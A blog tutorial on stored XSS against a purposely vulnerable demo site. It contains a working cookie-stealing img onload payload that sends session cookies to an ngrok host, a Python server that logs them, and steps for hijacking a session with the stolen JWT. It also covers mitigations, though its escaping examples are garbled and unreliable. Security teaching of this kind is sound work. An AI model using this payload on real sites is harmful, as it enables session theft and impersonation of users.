Disclaimer: The techniques described in this blog are for educational purposes only. We're here to learn, not to cause chaos. Any resemblance to actual hacks, past or present, is purely coincidental. Please don't try this at home, or work, or anywhere else – unless you're in a controlled, ethical environment with explicit permission. Remember, with great coding power comes great responsibility. Stay curious, but keep it legal, folks!
Welcome back to our "Exploits" series. In Episode 1, we explored the twisting paths of prototype pollution. Now, it's time to turn our attention to another prevalent web security issue: Cross-Site Scripting, or XSS.
Think of XSS as the digital equivalent of someone sneaking an extra ingredient into your favourite recipe. It might look the same on the surface, but the results can be quite unexpected – and potentially harmful.
In this episode, we'll unpack how attackers can inject malicious scripts into web pages, turning trusted sites into unwitting accomplices. We'll explore a practical example of XSS in action by demonstrating how to steal a JWT token, allowing us to impersonate another user. Through this, we'll see why XSS continues to be a persistent problem in web security, and what developers can do to keep their sites script-safe and protect user identities.
The following is the sneak peak of what we will be able to do. 😈
What is XSS?
XSS allows attackers to inject malicious scripts into web pages viewed by other users. When these scripts execute in a victim's browser, they can do all sorts of mischief, from stealing cookies to hijacking sessions.
Types of XSS:
- Stored XSS: The malicious script is stored on the target server. It's like hiding a stink bomb in the school vents - it affects everyone who passes by.
- Reflected XSS: The malicious payload is part of the victim's request. It's more like convincing someone to throw a water balloon at themselves.
- DOM-based XSS: This occurs in the DOM (Document Object Model) rather than part of the HTML. Think of it as rewiring a car's dashboard to show the wrong speed.
Same Origin Policy
The Same-Origin Policy is a critical security mechanism that restricts how a document or script loaded from one origin can interact with a resource from another origin. It helps isolate potentially malicious documents, reducing possible attack vectors.
An origin is defined as a combination of URI scheme, host name, and port number. Two pages have the same origin if the protocol, port (if one is specified), and host are the same for both pages.
For example, the following have the same origin:
However, these do not have the same origin (different protocol):
The Same-Origin Policy prevents a malicious script on one page from accessing sensitive data on another web page through that page's Document Object Model (DOM). While you may see cookies from multiple origins in your browser's developer console, this doesn't mean that scripts can access cookies across different origins. Each script can only access cookies that belong to its own origin.
The Same-Origin Policy is what prevents a script on one website from reading or manipulating cookies or other data belonging to a different website, even if both sites are open in the same browser. This is true even if one of the websites is vulnerable to cross-site scripting (XSS).
Hands-On
Let's explore how an XSS attack works and its potential impact by experimenting with a deliberately vulnerable website: https://exploit-episode-2.middlewarehq.com/. This site simulates a video streaming platform with a comment section that allows various HTML styles in comments.
We can test the vulnerability by trying different HTML elements:
- Bold text: Try commenting with
<b>Bold Comment</b>
. You'll see the text appears bold in the comment section. - Images: Add an image using
<img src="image_url">
. The image should display in the comment. - Other HTML elements: You can experiment with colours, divs, SVGs, and more.
The vulnerability lies in the website's failure to properly sanitise user input. It allows any valid HTML to be rendered by the browser, including potentially malicious code.
This opens the door for more dangerous possibilities. For instance, an attacker could inject a <script>
tag containing malicious JavaScript code. When other users view the page with this "comment", their browsers would execute the injected script in the context of the vulnerable website.
Let’s try doing that. We will try to inject a script into the browser which will run every time a user visits this page.
First Attempt
We can use the following comment:
<script> alert("XSS") </script>
But you will notice nothing happens. Was the script tag not added? A quick inspect element confirms that our code was added as intended into the DOM. But why didn’t it execute? Let me explain why this happens:
Modern browsers have built-in XSS protection. When HTML is inserted into the DOM using innerHTML, the browser will not execute <script>
tags or inline event handlers.
Second Attempt
While <script>
tags are blocked, we can leverage other HTML elements that are still being parsed and rendered, such as the <img>
tag. We can exploit this by using event attributes on these allowed elements. Here's a more sophisticated payload:
<img src="image_url" onload="alert('XSS')">
When we use this as a comment, we see an alert popup each time the page loads. This confirms that we've successfully executed JavaScript in the context of the website.
However, this simple alert is just the tip of the iceberg. The real danger lies in what malicious actors could do with this vulnerability:
- Many websites, including this one, require users to log in before commenting. This often involves storing authentication data in the browser.
If we inspect the Application tab in our browser's developer tools and look at the cookies for this website, we find a 'session' cookie. Its value appears to be a JWT (JSON Web Token) used for authentication.
An attacker could craft a payload to access these cookies and exfiltrate them to a server they control. This would allow them to impersonate any user who views the compromised page and logs in.
Such an attack could affect every user who visits and logs into the website, potentially compromising numerous accounts.
Let’s first make a simple http server which our malicious javascript code will call with the cookie. We will use python to create a simple web server which will receive and log the stolen cookies from our malicious JavaScript payload.
cd /tmp/
mkdir xss_server
cd xss_server
touch main.py
# main.py
from http.server import SimpleHTTPRequestHandler, HTTPServer
class CORSHTTPRequestHandler(SimpleHTTPRequestHandler):
def end_headers(self):
self.send_header("Access-Control-Allow-Origin", "*")
self.send_header("Access-Control-Allow-Methods", "GET, POST, OPTIONS")
self.send_header(
"Access-Control-Allow-Headers", "X-Requested-With, Content-Type"
)
super().end_headers()
def run(port=8000):
server_address = ("127.0.0.1", port)
httpd = HTTPServer(server_address, CORSHTTPRequestHandler)
print(f"Starting httpd server on port {port}...")
httpd.serve_forever()
if __name__ == "__main__":
run()
We have a run()
function which is responsible for starting our server on a default port set to 8000
. We use HTTPServer()
to create a server which listens to 127.0.0.1:8000
.
We define a custom request handler CORSHTTPRequestHandler
that extends SimpleHTTPRequestHandler
. This custom handler is used as the request handler for all the request coming to this server. This custom handler adds Cross-Origin Resource Sharing (CORS) headers to allow requests from any origin.
- When the client makes a request to this server we respond with the following headers set:
-
"Access-Control-Allow-Origin": “*”
: This header allows any domain to make requests to our server. -
”Access-Control-Allow-Methods": "GET, POST, OPTIONS"
: This specifies which HTTP methods are allowed when accessing the resource. We're allowing GET, POST, and OPTIONS (used in preflight requests). -
”Access-Control-Allow-Headers": "X-Requested-With, Content-Type"
: This indicates which HTTP headers can be used when making the actual request. We're allowing "X-Requested-With" (often used in AJAX requests) and "Content-Type" (to specify the media type of the request body).
-
You may ask, why is necessary for our exploit? When our injected JavaScript tries to make a request to our server from the vulnerable website, it's considered a cross-origin request. Without proper CORS headers, the browser would block this request for security reasons. By setting these permissive CORS headers, we ensure that our malicious payload can successfully exfiltrate data to our server. By implementing these CORS headers, we're essentially telling the browser, "Yes, it's okay for JavaScript from any origin to send requests to this server."
Let's get our server up and running. First, we'll start it locally using the command:
python main.py
Now, we want to make our local server accessible from the internet. In a professional setting, you'd typically use a cloud server with a public IP address, where you could easily map the server's port for public access. However, for this demonstration, we'll use a tool called ngrok. This is particularly useful when you are in a home network behind a NAT and don’t want to configure your router settings to expose your server to the web. But what exactly is ngrok?
Ngrok is a powerful and lightweight tool that creates secure tunnels from public endpoints to locally running services. It's like creating a secret passage from the internet directly to your computer. This is particularly useful for:
- Developers who want to show their work-in-progress to clients
- Testing webhooks without deploying to a server
- Demonstrating applications running on a local machine
- Temporarily exposing local services for collaborative work or testing
Here's how to use ngrok:
- Download and install ngrok from https://ngrok.com/docs/getting-started/
- Follow ngrok’s QuickStart guide to authenticate into ngrok
- Once installed and authenticated, run the following command in your terminal:
ngrok http 8000
- Ngrok will provide you with a public URL that forwards to your local server.
This method allows you to quickly expose your local server to the internet, making it perfect for testing and demonstrations like ours.
Once you visit the public URL in the browser you are met with a warning page like below:
This method allows you to quickly expose your local server to the internet, making it perfect for testing and demonstrations like ours.
Once you visit the public URL in the browser you are met with a warning page like below:
Click on Visit Site
to proceed with the request. You will notice in your terminal that you are getting the requests now.
Great, now we are ready to use this public URL to launch our attack.
Attack Payload
We will use a seemingly innocent looking image to exploit the vulnerability. The following is the payload we will use:
<img src="https://cdn.vectorstock.com/i/500p/53/95/thumb-up-emoticon-vector-1075395.jpg" onload="var script=document.createElement('script');script.src=`https://895f-2409-40d0-10c3-96c8-385b-f4d-5777-2d28.ngrok-free.app?${document.cookie}`;document.body.appendChild(script);" />
Change the script src to your ngrok public URL and paste this in the comment box. Go back and check your python server logs in the terminal to see the cookie being logged.
This is our session’s cookie that is being logged. A similar log would occur when any user tries to log in because the above payload will every time the page is loaded. We will look inside the hood how this is exactly working but first let’s try to steal some cookies.
We will simulate a user login by logging out from the current account and logging in with a different username and password. As soon as we login we will see a cookie log in our python server.
Now we have Elon Musk’s session token🤯. We can use this token to login as Elon Musk even if we don’t have their password. Let’s see how.
Copy the session token from the terminal.
Then we logout from the current session using the logout button in the navbar. To double check you can see that the value of session cookie is empty. We now write right click on the cookie entry and select Edit “Value"
and paste the copied cookie value there.
After we have edited the value of the cookie we reload our page. As soon as we reload the page we see that we are logged in as Elon Musk🤯. Wow!! Now we can do anything we want under the identity of “Elon Musk” in this platform and can potentially cause a lot of damage (I am not saying we should😛).
All it took was this seemingly innocent comment from Jeff. Now we will get the cookies of every user that tries to login into the website.
Under the Hood
Now let’s understand exactly what the comment did. The <img>
tag does loads the image provided in the src
url and when the image has been loaded it executes the javascript defined inside the onload
attribute.
var script=document.createElement('script');
script.src=`https://895f-2409-40d0-10c3-96c8-385b-f4d-5777-2d28.ngrok-free.app?${document.cookie}`;
document.body.appendChild(script);
The above javascript code creates a script
element and sets its src
attribute to our malicious url attaching the cookie value as the query parameter of the request. Then this script element is appended to the <body>
of the document.
This comment is saved in the database, so every time the page is loaded this comment is fetched and executed. Every time the onload
script is executed appending a malicious script tag to our document.
This type of XSS is called stored XSS
which we defined earlier above. The malicious piece of comment is stored in the target server and is executed on every client which passes by.
Now, you might wonder why the Same-Origin Policy (SOP) doesn't prevent this attack. The SOP is designed to prevent scripts from one origin from accessing data belonging to another origin. However, in this case, the SOP doesn't come into play for two reasons:
- The initial script injection happens within the same origin. The malicious code is part of the page content, so it's considered to be from the same origin as the rest of the page.
- While the injected script does make a request to a different origin (our ngrok URL), the SOP allows
<script>
tags to load JavaScript from different origins. This is a necessary feature for many legitimate use cases, such as loading libraries from CDNs.
The SOP would prevent the script from reading the response from the different origin, but in this attack, we don't need to read the response. We've already accomplished our goal by sending the cookie data in the request URL.
XSS in the wild
Think XSS is just a theoretical threat? Think again. Cross-Site Scripting has left its mark on some of the biggest names in tech. Let's take a tour of XSS attacks that shook the digital world and proved that even the mightiest can fall to a few lines of malicious code.
- Samy, the fastest spreading virus ever, was an XSS worm that was designed to propagate across MySpace in 2005, which affected 1 million users in the first 20 hours.
- Even tech giants aren't immune. Google's Search page was found to have an XSS vulnerability that could potentially allow attackers to steal users' search history and other sensitive information.
- A major XSS vulnerability on Twitter's website allowed attackers to create tweets with malicious JavaScript. When users hovered their mouse over the tweet, it would automatically retweet itself, leading to a rapid spread of the malicious code across the platform.
- Twitch also fell victim to a significant XSS vulnerability that was exploited in real-time during a livestream. This incident is particularly noteworthy because it happened live in front of thousands of viewers, dramatically demonstrating the potential of XSS attacks.
XSS Mitigation
Now that we know how easy it is to exploit an XSS vulnerability and the damage it can cause, let’s look at how we can avoid being victims of these attacks.
- Input Validation: It is extremely important to validate the data we take from the user before storing that value in the database or injecting it into our DOM. It is also recommended to validate the data we fetch from the database. So if database were to get compromised and some malicious data were to be inserted in it, we would filter it out before serving it to the end user.
-
Escape User-Controlled input HTML: This technique involves converting potentially dangerous characters in user-controlled data into their safe HTML entity equivalents before rendering them on a web page. Here's why it's important and how it works:
a. Identifying Dangerous Characters: Characters like <, >, &, ", and ' can be interpreted as HTML structure by browsers. When these characters come from user input, they pose a risk of XSS.
b. The Escaping Process:- Convert < to
<
- Convert > to
>
- Convert & to
&
- Convert " to
"
(Inside attribute values) - Convert ' to
'
(Inside attribute values) For example a user input of<script src="http://malicious.com/xss.js">
shall be escaped to<script src="http://mal.js">
. We need not do this ourselves but rely on tools like lodash.escape and DOMPurify
- Convert < to
Securing Cookies: Set the
HttpOnly
flag on cookies to prevent JavaScript access.With this flag set to true, we wouldn’t have been able to perform the above attack as the malicious javascript wouldn’t be able to read the cookies. We should also set theSecure
flag to ensure that the cookies are only ever transmitted over https.Content Security Policy (CSP): Content Security Policy (CSP) is a security mechanism designed to mitigate cross-site scripting (XSS) attacks and other code injection vulnerabilities. It works by allowing web developers to specify which sources of content are allowed to be loaded and executed on a web page.
Here's how CSP helps mitigate XSS:
- Restricting content sources: CSP allows developers to whitelist specific sources for various types of content, such as scripts, stylesheets, images, and fonts. By limiting these sources, it becomes much harder for attackers to inject malicious code from unauthorized domains.
- Disabling inline scripts: CSP can be configured to disallow inline scripts, which are a common vector for XSS attacks. This forces all JavaScript to be loaded from external files, making it easier to control and audit.
- Disabling eval() and similar functions: CSP can prevent the use of eval() and other potentially dangerous JavaScript functions that can execute dynamically generated code.
- Reporting violations: CSP can be set up to report policy violations to a specified URL, allowing developers to monitor potential attacks and adjust their policies accordingly.
To implement CSP, you add the Content-Security-Policy HTTP header to your web server's responses. Here's a basic example:
Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted-cdn.com;
This policy allows content to be loaded only from the same origin ('self') by default, and scripts to be loaded from the same origin and a trusted CDN.
That's it
And there you have it, folks! We've journeyed through the waters of Cross-Site Scripting, stolen some cookies (the digital kind, sadly), and even impersonated a user. Who knew being a temporary identity thief could be so educational?
If you think you are ready, we got a challenge for you. Why don't you use the tools you learned here and try to break our app.✊
⚡️ Try and break the Middleware repo!
If you enjoyed this post and learned something new consider giving our opensource repo a star.
Until our next adventure in the wild world of web exploits, keep your code clean, your inputs sanitised, and your cookies safely in the jar. Stay curious, stay safe, and may your browsers always be XSS-free!
middlewarehq / middleware
✨ Open-source DORA metrics platform for engineering teams ✨
Open-source engineering management that unlocks developer potential
Join our Open Source Community
Introduction
Middleware is an open-source tool designed to help engineering leaders measure and analyze the effectiveness of their teams using the DORA metrics. The DORA metrics are a set of four key values that provide insights into software delivery performance and operational efficiency.
They are:
- Deployment Frequency: The frequency of code deployments to production or an operational environment.
- Lead Time for Changes: The time it takes for a commit to make it into production.
- Mean Time to Restore: The time it takes to restore service after an incident or failure.
- Change Failure Rate: The percentage of deployments that result in failures or require remediation.
Table of Contents
Top comments (6)
This'll be useful for future readers
"All input is evil until proven otherwise. That's rule number one."
The simplicity of this approach means that the instruction set doesn’t have to change and the code stays binary-compatible.
Can CORS help regarding something like this?
No! CORS is not meant to do so. It only restricts which websites(origins) can access the resources hosted by a server.
Great post! Thank you
Is this a still a problem if I use react or vuejs?
Well, yes. Though these frontend framework reduce the risk of XSS attack, it is still a problem if you use bad coding practices like presented in this blog.
Crazy article!